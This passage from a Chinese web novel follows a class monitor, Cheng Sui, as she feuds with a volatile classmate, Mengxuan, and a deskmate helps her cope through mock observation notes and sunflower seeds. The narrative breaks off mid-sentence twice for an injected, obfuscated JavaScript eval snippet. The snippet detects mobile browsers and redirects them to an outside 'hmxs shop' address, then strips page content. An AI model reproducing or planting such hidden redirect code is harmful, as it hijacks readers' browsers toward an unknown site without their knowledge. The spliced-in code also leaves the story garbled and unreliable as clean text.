而那个颠婆……随她去吧。 有些人,注定只能陪你走一段路。 到站了,就该下车。 --- 晚上回家,手机震动。 是梦萱发来的消息: 「你以为你很了不起?装什么清高?」 我没回。 她又发:「以后别跟我说话,看到你就恶心。」 我忍了又忍,这颠婆还特么真把我当柔弱小白兔了? 回复:「我可去你的吧你个死颠婆,脑子不合适就扔了,可千万别捐,影响别人智商。」 然后拉黑删除一条龙。 关掉手机,我看着窗外。夜色渐深,万家灯火。 明天是周末。 周一,会是新的开始。 4. 第 4 章 周一早上,我走进教室时,梦萱的桌子已经不在了。 不,不是不在了--她的东西还在,但她本人不在,桌子被拉到了最后一排,桌面上用口红写着几个大字: 「此座已疯,闲人勿近」 旁边还画了个骷髅头。 我瞥了一眼,径直走到自己的座位。 旁边原本属于那个颠婆的位置,现在坐着洐沁。她低着头,正用铅笔在课本空白处画画,画的是Q版政治老师——地中海画得格外传神,还在反光。 “早。”我放下书包。 “早。”洐沁头也不抬,“李老师让你来了去她办公室一趟,关于文化墙的事。” “好。” “另外,”她终于抬起头,推了推不存在的眼镜,“梦萱今天请假了,说是‘精神受创需要疗养’。” 我:“……”她受创? “她爸给李老师打电话,说女儿因为班级矛盾情绪崩溃,要求严惩‘霸凌者’。”林晓语气平淡,“李老师让你去,估计就是说这个。” 我深吸一口气:“知道了。” “需要瓜子吗?”洐沁从书包侧袋掏出一小包,“谈判前嗑点,缓解紧张。” “……不了,谢谢。” ber怎么会有人随身带瓜子…… --- 教师办公室里,李老师脸色很不好看。 “程穗,坐。”她指指对面的椅子,“文化墙的事……梦萱的父亲反应很大。” “老师,墙已经清理干净了。” “不是墙的问题。”李老师叹气,“梦萱说你在全班面前辱骂她,还威胁要打她,导致她心理阴影,不敢来上学。” 我愣住了。 “她说的是真的吗?”李老师看着我。 “我没有骂她,更没有威胁她。”我说,“是她毁了墙,我让她道歉,她拒绝了。我说以后不再是朋友,仅此而已。” 李老师揉着太阳穴:“我知道梦萱同学……性格比较特别。但她是单亲家庭,父亲工作忙,疏于管教,我们老师也尽量多包容。你是班长,更应该……” “老师,”我打断她,“包容不等于纵容。她毁坏班级公物,诬陷同学,这些行为不应该因为家庭原因就被原谅。” 李老师沉默了。 “我会写一份情况说明。”我说,“包括文化墙被毁的全过程,以及当时在场的同学都可以作证。” “程穗……” “如果因为她是单亲家庭就特权处理,那对其他同学公平吗?”我站起来,“老师,可怜之人必有可恨之处,没什么事的话我先回去了,早读要开始了。” 走出办公室时,我的手在抖。 不是害怕,是生气。 原来颠婆的招数不止当面发疯,还有背后捅刀。 回到教室,洐沁看了我一眼,从桌肚里递过来一张纸条: 「战况如何?」 我写上:「她告黑状搞背刺,说我霸凌她。」 洐沁接过纸条,写了几笔递回来: 「经典颠婆操作。需不需要我发动‘五班情报网’?」 「什么情报网?」 洐沁指了指前后左右——几个五班跟过来的同学正偷偷朝我们这边看。她比了个手势,其中一个女生点点头,拿出手机开始打字。 五分钟后,我的手机震动。 洐沁拉了个微信群,群名:「穗萱大战观察组(五班分舵)」 里面已经有十几个人。 「五班·张伟」:最新消息,梦萱她爸给校长也打电话了,说要讨说法。 「五班·李娜」:她爸是那个开家具厂的吧?好像给学校捐过钱。 「五班·王鑫」:所以这事会压下去? 洐沁打字:「继续观察。」 然后她切出群聊,对我说:“现在你有后援团了。” 我哭笑不得:“这有用吗?” “信息就是武器。”洐沁认真地说,“知道对手在干什么,才能见招拆招。” 早读课,李老师进来宣布:“文化墙的事学校会调查,在结果出来前,请同学们不要私下议论。” 底下窃窃私语。 梦萱虽然人不在,但她的传说已经传遍了全班。 “鼻毛王”王浩偷偷回头看了我一眼,眼神复杂。 “显微镜”陈磊递过来一张纸条:「我相信你。」 刘晓雯干脆直接写在了作业本上:「梦萱就是故意的,我们都可以作证。」 我心里一暖。 原来,不是所有人都跟那个死颠婆和她的腿毛一样傻逼的。 --- 第一节课是政治,鲁平老师的课。 他走进教室时,头顶的地中海在日光灯下反着光,像一面小型探照灯。 “同学们好。”破锣嗓子响起,“今天讲《经济生活》第三单元……” 他讲课的方式很催眠:照着ppt念,声音忽大忽小,语速很慢。不到十分钟,已经趴倒一片。 洐沁在课本上画速写——鲁平的秃顶被画成了反光镜,还加了光线折射的箭头。 我小声问:“你画画这么好,怎么不去美术班?” “懒得考。”洐沁说,“而且美术班颠婆更多,艺术生疯起来更抽象。” 她翻到前一页,给我看她画的“高一教师群像”: ·李老师被画成操心老妈子,头顶飘着“怎么办怎么办”的对话框。 ·数学赵老师是喷火龙,鼻孔冒烟。 ·英语老师是优雅的猫,但尾巴翘到天上。 ·鲁平……是一只秃鹫,真的秃鹫,站在树枝上,眼神呆滞。 “你这个……”我憋笑,“被看到会死的。” “所以只给你看。”洐沁合上课本,“对了,你知道鲁平的外号吗?” “秃顶?” “官方叫法是‘地中海’。”洐沁说,“但五班给他起了个更传神的——‘反光镜’。他站讲台上,阳光一照,能晃瞎第一排。” 我忍不住笑了。 “还有我们班主任,聪明蛋老师。”洐沁压低声音,“他说话总带‘啊~’,五班给他计数,最高纪录一节课‘啊’了103次。” “你们班……好闲。” “观察是人类的天性。”洐沁一本正经,“尤其是观察奇葩。” 下课铃响,鲁平夹着课本走了。洐沁立刻掏出一个小本子,在上面写字。 “这是什么?”我问。 “《抽象观察笔记》。”她把本子推过来。 我翻开: 【9月-10月观察记录】 观察对象1:梦萱(高一三班) ·特征:语言系统重度污染,攻击性强,表演型人格 ·经典语录:“跟我混”“你是我的人”“圣母婊” ·行为模式:先挑衅,等反击,再装受害者 ·评级:SS级颠婆(危险,建议远离) 观察对象2:鲁平(高一五班政治老师) ·特征:秃顶反光,嗓音催睡,存在感低 ·经典场面:讲课到一半忘记讲哪了,翻书翻三分钟 ·行为模式:照本宣科,回避冲突,疑似有隐藏属性(待观察) ·评级:B级奇葩(无害,可当背景板) 观察对象3:张聪明(班主任,绰号聪明蛋,油蛆) ·特征:说话必“啊~”,推责高手,自我感觉良好 ·经典语录:“这个啊~不归我管啊~”“同学们要自觉啊~” ·行为模式:甩锅,和稀泥,在领导面前装积极 ·评级:A级油腻(烦人,但可应对) 后面还有十几条,包括各科老师、年级主任、甚至食堂阿姨。 “你记这个干什么?”我问。 “研究。”洐沁说,“我在写一篇论文,叫《当代高中生态位分析:从正常人到颠婆的演变路径》。” “……你爸妈是做什么的?” “我爸是心理学教授,我妈是社会学家。”洐沁说,“所以我有病,遗传的。” 她说这话时面无表情,但我看出她眼里有一丝笑意。 看来也是个不大正常的,“那你分析出什么了?”我问。 “初步结论:这个学校,正常人占比不足30%。”洐沁指着本子,“剩下70%,轻度奇葩占40%,中度颠婆占25%,重度神经病占5%。” “梦萱属于?” “重度神经病,但有向艺术家人格转化的可能。”洐沁说,“她毁你墙的那个大便,画得很有表现力,属于抽象派。” 我:“……”6。 “不过你放心,”洐沁合上本子,“我已经把你归类为‘S级正常人’——在癫狂环境中保持理智,且具备反击能力的稀有物种。” “谢谢夸奖?” “不客气。”她从书包里又掏出一包瓜子,“要开发我们的沟通系统吗?” “什么系统?” “脑内弹幕交流系统。”洐沁说,“比如现在,政治课刚下,你看到鲁平走出去,心里在想什么?” 我想了想:“终于下课了。” “太普通。”洐沁摇头,“你应该想:‘反光镜走了,教室暗了三度’。” “……有必要吗?” “有。”洐沁认真地说,“在这个抽象的环境里,你需要一套抽象的防御机制。把一切都当成喜剧看,你就不会生气,不会难过,只会觉得——典,太典了。” 她示范: “看到赵老师发脾气,别想‘好可怕’,要想:‘喷火龙今日喷火量超标,建议消防队待命’。” “看到梦萱发疯,别想‘好烦’,要想:‘颠婆今日表演《霸道校花爱上我之撕逼篇》,可提名金马奖’。” “看到聪明蛋推责,别想‘好油’,要想:‘甩锅侠今日完成三连甩,刷新个人纪录’。” 我听着,突然笑出声。 “对,就是这样。”洐沁也笑了,“把生活当成情景喜剧,你就是那个坐在屏幕前嗑瓜子的观众。” 终于知道了这个人随身带瓜子的原因了…… 我们正说着,教室门口传来骚动。 梦萱来了。 她穿着病号服——真的病号服, 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梦萱缓缓抬头,泪眼朦胧:“我没事……就是心好痛……被人冤枉的感觉……你们不懂……” “我们懂!”一个女生说,“程穗也太过分了!” “别这么说……”梦萱摇头,“她可能……只是一时冲动……” 我在座位上看着这出戏,突然不生气了。 因为洐沁在旁边实时解说: “现在进入受害者独白环节,预计持续三分钟,核心诉求是博取同情、孤立目标、建立自己的悲情女主形象。” “你看她眼泪,”洐沁继续,“左眼先流,右眼延迟0.5秒,明显是控制的。但演技有进步,比上次自然。” 我彻底忍不住,低头闷笑。 “这就对了。”洐沁递过瓜子,“记住,你是观众,不是演员。看戏,嗑瓜子,别入戏。” 我们真的磕起了瓜子。 咔嚓,咔嚓。 在一片“梦萱你好可怜”“程穗怎么这样”的声音中,我们磕瓜子的声音格外清晰。 梦萱终于注意到我们,眼神扫过来,带着杀气。 洐沁举起瓜子袋,用口型说:“要嗑吗?” 梦萱的表情扭曲了一瞬,然后“虚弱”地别过头:“我……我想一个人静静……” 午休时,我和洐沁在操场边继续嗑瓜子。 “她这招能用多久?”我问。 “最多一周。”洐沁分析,“装病需要体力,而且久了会腻。我预测她周五前就会恢复颠婆本色。” “那我们怎么办?” “两点原则。”洐沁竖起手指,“第一,不主动挑衅;第二,她挑衅时,用抽象话术反击。” “比如?” “比如她说‘你冤枉我’,你就说‘你的表演很有张力,建议报考北电’。” “她说‘我讨厌你’,你就说‘你的厌恶情绪表达得很到位,眼神处理尤其精彩’。” “总之,”洐沁总结,“把她的一切行为都解读为‘艺术创作’,你就立于不败之地。” 我看着她,突然觉得,有这个同桌,高中生活也许没那么难熬。 “洐沁,”我说,“谢谢你。” “不客气。”她推推不存在的眼镜,“我也是在帮自己——如果你被颠婆搞崩溃了,我就没正常人同桌了。” 我们相视而笑。 远处,梦萱被一群女生簇拥着走向小卖部,还在“虚弱”地扶着额头。 阳光很好,操场上有男生在打球,女生在散步。 一切都看起来那么正常。 除了我们班。 除了那个穿着病号服、企图用演技征服世界的颠婆。 但没关系。 我有瓜子了。 也有会递瓜子的同桌了。 --- 下午放学,梦萱在走廊堵住我。 这次她不装了,恢复本色:“程穗,你以为赢了?” “我没在比赛。”我说。 “你等着。”她冷笑,“我有的是办法让你在这个班待不下去。” “比如?” “比如……”她凑近,“我知道你妈在银行工作,我爸跟行长很熟。你说,如果我让我爸说点什么……” 我看着她,突然想起洐沁的教导,骂人的话硬生生止住。 于是我说:“你的威胁很有层次感,从校园延伸到家庭,剧情推进合理。但反派过早暴露底牌,是编剧大忌。” 梦萱愣住。 “建议修改剧本。”我继续说,“比如先制造几个小矛盾铺垫,再慢慢升级。现在的节奏太快,观众会出戏。” 说完,我绕过她走了。 走了几步,回头补充:“对了,病号服明天别穿了,出汗有味道,影响人物形象。” 梦萱站在原地,脸一阵红一阵白。 远处,洐沁靠在墙边,冲我比了个大拇指。 脑内弹幕系统,第一次实战,成功。 5. 第 5 章 高一结束的那个暑假,我做了三件事: 1. 把政治前几册课本卖了废纸——反正高二不学文。 2. 买了十包不同口味的瓜子,准备和洐沁嗑完高二。 3. 祈祷分班时离梦萱越远越好。 八月末,分班名单贴在校门口公告栏。 我挤进人群,从理科一班开始找自己的名字。 一班没有。 二班没有。 三班……看到了。 「高一三班程穗 →高二五班」 我继续往下看,找梦萱。 她还在三班——文科班。太好了,终于不在一个班了。 再找洐沁。 「高一三班洐沁 →高二五班」 很好,同桌保住了。 我松了口气,正准备走,突然看到另一个熟悉的名字: 「高一五班鲁平 →高二五班政治教师」 「高一五班张聪明 →高二五班班主任」 我:“……操” 命运的齿轮开始转动,并且发出了生锈的“嘎吱”声。 --- 开学前一天,洐沁在微信上给我发了一份文件。 文件名:《高二五班生存指南v1.0》 我点开,里面是密密麻麻的条目: 【第一章:班级生态】 1. 教师阵营: ·鲁平(政治):绰号“反光镜”。课堂催眠指数★★★★★。隐藏属性:待发掘。 ·张聪明(班主任/数学):绰号“啊老师”。甩锅能力★★★★☆。口头禅:“这个啊~” ·其他老师相对正常,可放心食用。 2. 学生阵营: ·原五班成员占60%,已适应抽象环境。 ·外班转入占40%,需1-2周适应期。 ·已知颠婆数量:0(梦萱在三班,安全)。 ·已知奇葩数量:待观察。 【第二章:生存技巧】 1. 上鲁平的课建议自备咖啡,或练习“睁眼睡觉”技能。 2. 张聪明布置任务时,务必索要书面要求,以防日后甩锅。 3. 班级后门常开,紧急情况可快速撤离。 4. 本班位于教学楼最西侧,距离梦萱所在的三班(最东侧)直线距离150米,步行需3分钟。安全。 【第三章:班长特别提示】 (因你大概率继续担任班长) 1. 张聪明会把你当免费劳动力,学会合理拒绝。 2. 鲁平可能记不住你的名字,会叫你“那个班长同学”。 3. 班级事务遵循“多报备、少做主”原则,避免背锅。 我看完,回复:「你写论文呢?」 洐沁:「预习是成功的一半。」 --- 开学第一天,我提前半小时到教室。 高二五班在四楼,窗户朝西,下午会被晒成烤箱。教室里已经来了十几个人,大多是原五班的,看到我,有几个点了点头。 洐沁的座位在第三排靠窗——她特意占了两个连座。 “早。”她递过来一包新瓜子,“焦糖味,尝尝。” 我坐下,打量教室。 和原来的三班差不多,只是墙上多了几张褪色的奖状:“卫生流动红旗(上学期)”“广播操比赛三等奖”。 后黑板上用彩色粉笔写着几个大字: 「欢迎来到抽象主义大本营」 下面还有一行小字:「——原五班全体敬上」 我看向洐沁。 “不是我写的。”她耸肩,“但我觉得很贴切。” 同学们陆续进来。我注意到几个熟面孔:陈磊(“显微镜”)也分到了五班,看到我,腼腆地笑了笑。刘晓雯(“黄桃罐头”)去了文科班,不在。 八点整,张聪明老师走进教室。 他今天穿了件粉色POLO衫,肚子把衣服撑得紧绷,头发抹了发胶,油光发亮。 “同学们好啊~”他站上讲台,双手撑在讲桌上,“我是你们未来两年的班主任,张聪明。你们可以叫我张老师,或者~聪明老师~” 底下有原五班的学生憋笑。 “咱们班啊~是个优秀的集体~”张聪明开始他的经典演讲,“去年啊~我们班在各项评比中都取得了不错的成绩啊~当然~也有不足啊~希望新同学们尽快融入啊~” 他说话时,右手总在空中画圈,像在搅拌看不见的浆糊。 “班长是谁啊~”他看向座位表,“程穗同学~站起来认识一下啊~” 我站起来。 “好~程穗同学啊~以后班级事务就麻烦你了啊~”张聪明笑眯眯的,“我这个人啊~比较民主~喜欢放权给学生啊~你们有事多跟班长沟通啊~” 翻译:以后破事都找你,别烦我。 洐沁在笔记本上写:「甩锅预警。」 第一节课就是政治,鲁平。 他走进教室时,头顶的地中海在晨光中反射出柔和的光晕——如果忽略那是秃顶的话,其实挺有禅意。 “同学们好。”破锣嗓子响起,“我是鲁平,教政治。” 他在黑板上写下自己的名字,粉笔字歪歪扭扭。 “高二政治主要学《哲学与文化》。”他翻开课本,“哲学是什么?哲学就是……嗯……关于世界的根本看法。” 他停顿,思考,眼睛望向天花板。 教室里安静了三十秒。 “比如,”他终于继续,“我们是谁?我们从哪里来?要到哪里去?” 又停顿。 洐沁小声说:“他在等掌声吗?” “这些问题啊,”鲁平自己接话,“哲学家们思考了几千年。我们今天……就从第一课开始。” 他开始照本宣科。 十分钟后,教室里趴倒一半。 鲁平似乎习惯了,继续念,声音平稳得像心电图上的直线。 我努力保持清醒,在笔记本上画圈。画着画着,画出了一个光头小人,正在打坐。 洐沁瞥见,在旁边加了对话框:「我是谁?我在哪?我要到哪里去?」 我们相视一笑。 下课铃响,鲁平合上课本:“今天就到这里。作业是……嗯……预习下一课。” 他夹着课本走了,脚步轻飘飘的,像灵魂出窍。 “怎么样?”洐沁问。 “比传说中还催眠。”我揉眼睛。 “这才第一节。”洐沁说,“等期中考试前,他会进入‘狂暴念经’模式,语速提升50%,催眠指数翻倍。” 我打了个寒颤。 --- 课间,我去走廊尽头的饮水机接水。 路过三班门口时,我下意识加快了脚步。 但还是听到了那个熟悉的声音: “看什么看?没见过美女?” 梦萱的声音,中气十足,看来暑假休养得很好。 我低头快走,但已经晚了。 “哟,这不是程圣母吗?”梦萱从三班教室走出来,身后跟着几个女生——新的跟班。 她今天化了浓妆,眼线飞到太阳穴,穿着改短的校服裙,露一截大腿。 “听说你在五班?”她堵住我的路,“那个秃顶老师和油腻班主任的班?恭喜啊,集齐了两大奇葩。” “让让。”我说。 “急什么?”梦萱歪头,“咱们老朋友,叙叙旧嘛。对了,你那个哑巴同桌呢?叫什么来着……相亲?” “她叫洐沁……” “管她叫什么。”梦萱摆手,“你告诉她,离我远点,否则我连她一起收拾。” “你没资格管她。” “我没资格?”梦萱笑了,“在这个学校,我想管谁就管谁。你以为分班了我就奈何不了你?天真。” 她凑近,压低声音:“五班有我的人。你的一举一动,我都知道。” 说完,她带着跟班们大笑着走了。 我站在原地,握紧了水杯。 回到教室,我把这事告诉洐沁。 “她有人?”洐沁推了推眼镜,“我来分析一下。” 她在笔记本上画关系图: 「梦萱(三班)」 ↓ 「可能的眼线」 1. 原三班分到五班的同学(3人) 2. 通过社交网络发展的下线 3. 单纯讨厌你的人 “范围不大。”洐沁圈出几个名字,“交给我,三天内挖出来。” “你怎么挖?” “五班情报网,启动。”洐沁拿起手机,在群里发消息。 五分钟后,情报回来了: 「五班·王鑫」:我问了,梦萱暑假在新生群里活跃,加了一堆人,可能发展了几个“粉丝”。 「五班·李娜」:咱们班赵倩跟梦萱是初中同学,关系一般,但不排除被收买。 「五班·张伟」:还有刘浩,他暗恋过梦萱,虽然被骂得很惨。 洐沁总结:“嫌疑人三个:赵倩、刘浩,以及未知的‘粉丝’。我会盯着。” “谢谢。”我说。 “不谢。”洐沁递过瓜子,“这是战争,情报战。” --- 下午班会,张聪明宣布了一件大事: “同学们啊~学校要举办秋季运动会啊~咱们班要积极参与啊~” 底下哀嚎一片。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064639|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“项目报名表啊~班长负责统计啊~”张聪明看向我,“程穗啊~你组织一下啊~尽量让每个同学都参加啊~” “老师,”我说,“有些同学可能不适合运动……” “没有不适合啊~”张聪明摆手,“重在参与啊~这是班级荣誉啊~” 翻译:我不想管,你搞定。 洐沁在本子上写:「经典甩锅场景,记录。」 下课后,我把报名表贴在墙上,果然无人问津。 男生们聚在一起打游戏,女生们聊八卦,没人看报名表一眼。 “怎么办?”我问洐沁。 “用激将法。”洐沁说,“你在表上写:三班已报满15个项目,五班目前0。” 我照做。 十分钟后,有男生过来看:“三班报满了?他们班那么猛?” “听说梦萱报了女子百米。”我随口编。 “那个颠婆?”男生皱眉,“那不能输给她。我报男子四百米。” “我也报!” “算我一个!” 激将法有效——尤其是用梦萱当诱饵。 一下午,报名表填了七成。只剩几个最难的项目:女子三千米,男子五千米,还有男女混合接力。 “剩下的怎么办?”我问。 洐沁想了想,站起来走到讲台上: “同学们,注意一下。” 全班安静。 “运动会奖牌榜,第一名班级有奖金,五百元。”洐沁说,“张老师说了,如果咱们班拿第一,奖金全部用作班级活动经费——意思是,我们可以去吃火锅。” “真的假的?”有人问。 “张老师亲口说的。”洐沁面不改色。 其实张聪明根本没说过。 但效果显著。 “那我报女子三千米!”一个女生举手。 “我报五千米!” “接力算我一个!” 报名表满了。 洐沁回到座位,我小声问:“张老师没说吧?” “没说。”洐沁淡定地嗑瓜子,“但等他发现时,我们已经拿第一了,他好意思反悔?” “如果没拿第一呢?” “那就说老师记错了。”洐沁说,“反正他经常‘啊~我可能记错了啊~’” 我服了。 --- 放学后,我和洐沁最后离开教室。 走到楼梯口,听到楼下传来吵闹声。 是梦萱,还有几个男生。 “……让你报你不报,不给面子是吧?”梦萱的声音。 “我真的跑不动……”一个男生小声说。 “跑不动就练!”梦萱说,“否则我让你在年级里混不下去。” 我们在楼梯拐角停下,偷看。 梦萱面前站着三个男生,都低着头。她正指着其中一个的鼻子骂: “你,明天开始每天跑操场五圈,我监督。要是偷懒……” 她没说完,但威胁意味十足。 “她在强迫三班的人报项目。”洐沁小声说。 “为了赢?” “为了证明她比我们强。”洐沁说,“尤其是比你强。” 我们悄悄绕到另一侧楼梯下楼。 走出教学楼,夕阳把天空染成橘红色。 “我突然觉得,”我说,“梦萱可能……很孤独。” “孤独的人多了。”洐沁说,“不是每个人都选择当颠婆。” “但她为什么……” “因为这是她唯一会的方式。”洐沁看着远处被跟班簇拥的梦萱,“用暴力获取关注,用威胁维持关系。她不懂怎么正常交朋友,因为从来没人教过她。” 我们沉默了一会儿。 “我们要赢吗?”我问。 “要。”洐沁说,“而且要赢得漂亮。不是为了打击她,是为了告诉她:正常的方式,也能赢。” 她顿了顿,补充:“而且火锅真的很好吃。” 我笑了。 是啊,高二开始了。 有秃顶老师,有油腻班主任,有阴魂不散的颠婆。 但也有会递瓜子的同桌,有可以一起奋斗的同学,有值得期待的火锅。 命运的齿轮虽然生锈,但至少还在转动。 而且,往有趣的方向转动。 --- 晚上,我收到一条陌生号码的短信: 「运动会等着,我会让你知道,谁才是这个年级的王。」 我没回,直接拉黑。 我知道,是梦萱那个亖颠婆。 战争,从今天起,正式开始了。 不过这次,我有战友,有战术,还有瓜子。 颠婆,放马过来吧!!! 6. 第 6 章 鲁平的课安排在每周二、四上午第一节。 据洐沁统计,这是全校“课堂睡眠率”最高的时段,五班曾创下纪录:45分钟的政治课,最多时有38人同时趴桌(全班共45人),睡眠率84.4%。 “剩下的7人,”洐沁在观察笔记中写道,“包括程穗(班长职责强制清醒)、我(观察者)、两个偷偷玩手机的、一个补作业的、一个吃早饭的,以及鲁平本人——他偶尔也会走神。” 周二早晨,我提前十分钟到教室时,已经有人在做“课前准备”。 前排的赵倩从书包里掏出眼罩、颈枕、耳塞,整齐摆放在桌上。后座的刘浩则拿出一罐超强薄荷糖,对我说:“班长,等会儿我要是睡了,你就弹我脑门,往死里弹。” 洐沁坐在旁边,正给她的速写本分类:“这是鲁平专辑,这是运动会特辑,这是梦萱迷惑行为大赏……” “你还给梦萱开专辑?” “素材太多了。”洐沁翻开本子,里面贴满了便签,“你看这张,她昨天强迫三班男生穿沙袋跑步,结果那男生摔了个狗吃屎,她站在旁边大笑——典型的反社会人格倾向。” 我皱了皱眉。 “放心,我没传播。”洐沁合上本子,“这只是学术观察。” 上课铃响,鲁平准时出现在门口。 他今天穿了件灰扑扑的夹克,腋下夹着政治课本,另一只手拎着个黑色保温杯。走到讲台前,他先把保温杯放下,然后从口袋里掏出一块手帕,擦了擦额头——虽然那里没汗。 “同学们好。”破锣嗓子开启。 “老——师——好——”全班拖长音,像给死人哭丧。 “今天讲《实践与认识》。”鲁平翻开书,直接开念,“实践是认识的基础,实践决定认识,认识反作用于实践……” 声音平稳,语调单一,像老式收音机里播放的佛经。 五分钟后,第一个趴下的出现了——赵倩戴上眼罩,熟练地调整颈枕角度。 接着是第二个、第三个…… 洐沁在本子上画速写:鲁平的秃顶被画成一个发光灯泡,光线呈扇形扩散,照到的学生全都闭眼睡去。 她小声解说:“这是他的技能‘佛光普照’,效果:群体催眠。” 我努力瞪大眼睛,盯着课本上的字。那些字开始跳舞:“实践……认识……实践……认识……” 不行,不能睡。 我掐自己大腿。 就在这时,意外发生了。 靠窗的座位突然传来“砰”一声巨响,然后是女生的尖叫。 全班惊醒,包括鲁平。 只见赵倩连人带椅摔在地上,眼罩歪到一边,颈枕滚到讲台边——她睡得太熟,身体失衡摔倒了。 教室里死寂三秒。 然后爆发出压抑的笑声。 鲁平放下课本,走到赵倩身边,蹲下:“同学,你没事吧?” 他的声音居然有点……温柔? 赵倩狼狈地爬起来,脸涨得通红:“没、没事……” “以后上课别戴眼罩了。”鲁平说,“要睡就趴着睡,安全。” 全班:“???” 这是什么发言? 鲁平帮她扶起椅子,捡起颈枕递还给她,然后回到讲台,继续说:“我们讲到哪了?哦,实践是检验真理的唯一标准……” 仿佛刚才什么都没发生。 洐沁在本子上飞快记录:「新发现:鲁平对课堂睡觉行为持默许甚至纵容态度。可能原因:1.自我认知清晰(知道课无聊);2.佛系心态;3.隐藏的M属性(享受被忽视)?」 后半节课,再没人敢戴眼罩,但趴桌率回升到70%。 下课铃响,鲁平合上课本:“作业是课后习题1-5题,周五交。” 他拎起保温杯要走,突然想起什么,回头说:“对了,下周有随堂测验,占期末成绩10%。” 全班瞬间清醒。 “老师!怎么突然要测验?” “没提前说啊!” 鲁平顿了顿,说:“教务处要求的。” 说完快步离开,留下哀鸿遍野。 洐沁点评:“经典甩锅句式,‘上面要求的’,虽然他可能根本没甩——也许真是教务处要求的。” “那怎么办?”我问,“他的课我一句没听进去。” “我有录音。”洐沁从桌肚里掏出录音笔,“每节课都录,回家二倍速听,十分钟搞定。” “……” “这叫生存智慧。” --- 下午自习课,洐沁开始实施她的“运动会作战计划”。 她在黑板上画了张表格: 【五班运动会战略部署】 目标:总分第一(为了火锅) 策略:田忌赛马+心理战 “田忌赛马我懂,”体育委员王鑫举手,“但心理战是什么?” 洐沁推了推不存在的眼镜:“就是干扰对手,特别是三班。” 她翻开另一个本子:“根据情报,三班主攻项目是短跑和跳远,因为他们班有几个体育生。我们班优势在中长跑和团体项目。所以——” 她在表格上标注: 1. 短跑项目:派替补参加,保存主力体力。 2. 中长跑:全力争金。 3. 团体项目(接力、拔河):重点训练。 “那心理战呢?”有人问。 洐沁笑了:“这个交给我和班长。” 放学后,我和洐沁去了操场。 三班果然在训练。梦萱穿着紧身运动服——校服被她改成了露脐装,腰间系着外套——正拿着秒表,对几个跑步的男生大吼: “快点!没吃饭吗!你看看人家五班的,都没偷懒!” 实际上五班还没开始训练。 我们躲在看台后面观察。 “她在用对比激励法。”洐沁分析,“但方式错误。高压训练短期有效,长期会引发逆反心理。” 果然,一个男生跑完后瘫倒在地,梦萱走过去踢他小腿:“起来!才跑五圈就装死?” 男生没动。 “废物!”梦萱转身对其他人说,“看到没?不努力就是这种下场!” 那几个男生脸色都不好看。 “机会来了。”洐沁说,“走,去‘慰问’一下。” 我们走过去时,梦萱正对着一个女生发火:“你跳远姿势像□□!重跳!” “梦萱同学,”洐沁开口,“训练呢?” 梦萱转身,看到我们,冷笑:“哟,间谍来了?” “我们来观摩学习。”洐沁面不改色,“你们练得真刻苦,不像我们班,还在讨论火锅吃什么。” 梦萱眯起眼:“火锅?” “对啊,张老师说如果我们班拿第一,就用奖金请大家吃火锅。”洐沁故作惊讶,“你们班没有吗?啊,可能三班班主任没想到这点。” 梦萱的表情变了。 她身后那几个学生互相交换眼神。 “奖金才五百,吃顿火锅就没了,没意思。”梦萱嘴硬。 “但那是荣誉啊。”洐沁说,“而且我们班长说了,如果拿了第一,她个人再加五百,去吃海鲜自助。” 我:“???”我什么时候说过? 洐沁悄悄掐我胳膊。 “哦,对了。”洐沁继续,“听说短跑项目竞争激烈,我们班打算放弃,主攻中长跑。你们班体育生多,短跑金牌肯定稳拿了。” 这是假情报——我们班明明有短跑高手。 但梦萱信了。 她扬起下巴:“算你们有自知之明。” “那我们不打扰了。”洐沁拉着我离开,“加油哦,虽然你们班主任不请客,但重在参与嘛。” 走出操场,我小声问:“你为什么要给她假情报?” “让她把训练重点放在短跑上,放松中长跑。”洐沁说,“等比赛时发现我们短跑也有人,他们已经来不及调整了。” “那海鲜自助……” “赢了再说。”洐沁淡定地嗑瓜子,“输了就当没说过,反正我只说‘班长说了’,又没说你真的说了。” 我服了。 这人心眼子多得像个筛子。 --- 周四的政治课,鲁平带来了一个“惊喜”。 他走进教室时,手里除了保温杯,还多了一个——瑜伽垫? 全班愣住了。 鲁平把瑜伽垫放在讲台边,然后开始讲课:“今天我们讲《矛盾分析法》。矛盾是事物发展的根本动力,矛盾具有普遍性和特殊性……” 讲了十分钟,他突然停下,走到瑜伽垫前,开始……拉伸? 他双手向上,慢慢弯腰,手指尽量触地——触不到,离地还有二十公分。 然后他保持这个姿势,继续说:“比如教与学,就是一对矛盾。老师想教好,学生想学好,但方法不对,就会产生矛盾……” 全班目瞪口呆。 鲁平直起身,又做了个扭腰动作:“解决矛盾,要抓住主要矛盾的主要方面……” 他一边做简易瑜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064640|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伽,一边讲哲学。 诡异的是,这次没人睡觉。 大家都瞪大眼睛,像在看一场行为艺术表演。 洐沁飞速记录:「重大发现!鲁平的隐藏属性:课堂瑜伽爱好者!效果:催眠指数下降30%,迷惑指数上升100%!」 下课后,全班都在讨论。 “鲁老师是不是受刺激了?” “可能觉得我们睡太多,想用这种方式提神?” “但好怪啊,再看一眼……” 鲁平收拾东西时,我忍不住走过去:“老师,您刚才……” “哦,那个啊。”鲁平擦了擦秃顶上的汗——这次真有汗了,“我腰椎不好,医生让多拉伸。上课站着不动,难受,就活动活动。” “不会影响讲课吗?” 